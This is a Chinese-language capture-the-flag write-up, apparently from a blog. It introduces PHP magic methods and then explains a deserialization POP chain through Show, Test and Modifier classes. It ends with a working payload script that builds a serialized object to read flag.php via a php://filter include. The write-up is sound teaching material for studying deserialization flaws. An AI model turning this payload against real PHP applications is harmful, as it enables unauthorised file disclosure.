1、魔术方法介绍
1)__invoke(),
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。
class Person { public $sex; public $name; public $age; public function __construct($name="", $age=25, $sex=‘男‘) { $this->name = $name; $this->age = $age; $this->sex = $sex; } public function __invoke() { echo ‘这可是一个对象哦‘; } } $person = new Person(‘小明‘); // 初始赋值 $person(); //以函数的方式调用了$person对象,因此输出 结果为 ‘这可是一个对象哦’
2)__construct
使用new实例化一个对象是会自动调用
class Person { public $sex; public $name; public $age; public function __construct($name="", $age=25, $sex=‘男‘) { $this->name = $name; $this->age = $age; $this->sex = $sex; } } $person = new Person(‘小明‘); // 初始赋值,$name的值就会赋值为‘小明‘
3)__toString
当直接输出对象的时候自动调用,例如使用echo来输出;
<?php class Person { public $sex; public $name; public $age; public function __construct($name=‘‘, $age=25, $sex=‘男‘) { $this->name = $name; $this->age = $age; $this->sex = $sex; } public function __toString() { return ‘姓名:‘.$this->name.‘,年龄:‘.$this->age.‘,性别:‘.$this->sex; } } $person = new Person(‘1jzz‘); echo $person; ?>
4)__get
可以用于访问私有属性
<?php class Person { public $sex = ‘男‘; public $name = ‘1jzz‘; private $age=‘18‘; public function __get($name) { echo $name.$this->age; } } $person = new Person(); echo $person->age; //可以调用__get方法来访问Person类中的私有属性age,并且格式为$name.$this->age ?>
5)__wakeup()
对对象进行反序列化时调用该函数
6)__sleep
对对象进行序列化时调用该参数
2、思路:
提示中说明了flag在flag.php,并且在Modifier类中出现了include,可能可以使用文件包含用伪协议将flag.php的内容读取
1)通过get传递序列化Show对象参数$pop,此时会对$pop变量进行反序列化从而调用__wakeup()函数
2)可以看到类Show的函数__construct对变量$this->source进行echo输出,如果这里的变量$this->source为Show对象的话,那么就会调用函数_toString
3)__toString函数返回了一个变量$this->str->soucre,此时类Test中存在__get函数,我们可以将$this->str赋值为一个Test对象,而Test类中并没有source这个变量,因此将会调用__get函数
4)类Modifier中存在__invoke函数,可以第三步中类Test的__get函数将$$this->p传递给$function并且return $function(),只要将$this->p赋值为一个Modifier对象,那么就会返回一个Modifier类对象的函数,将会调用Modifier类中的__invoke函数
5)__invoke函数调用了append函数,只要将变量$var的内容设为我们需要包含的文件伪协议读取命令就可以了
payload:
<?php class Modifier { protected $var = ‘php://filter/convert.base64-encode/resource=flag.php‘; } class Show{ public $source; public $str; public function __construct($file=‘index.php‘){ $this->source = $file; } } class Test{ public $p; } $b = new Show(); $b->str = new Test(); $b->str->p = new Modifier; $a = new Show($b); echo urlencode(serialize($a)); ?>
原文:https://www.cnblogs.com/1jzz/p/14678415.html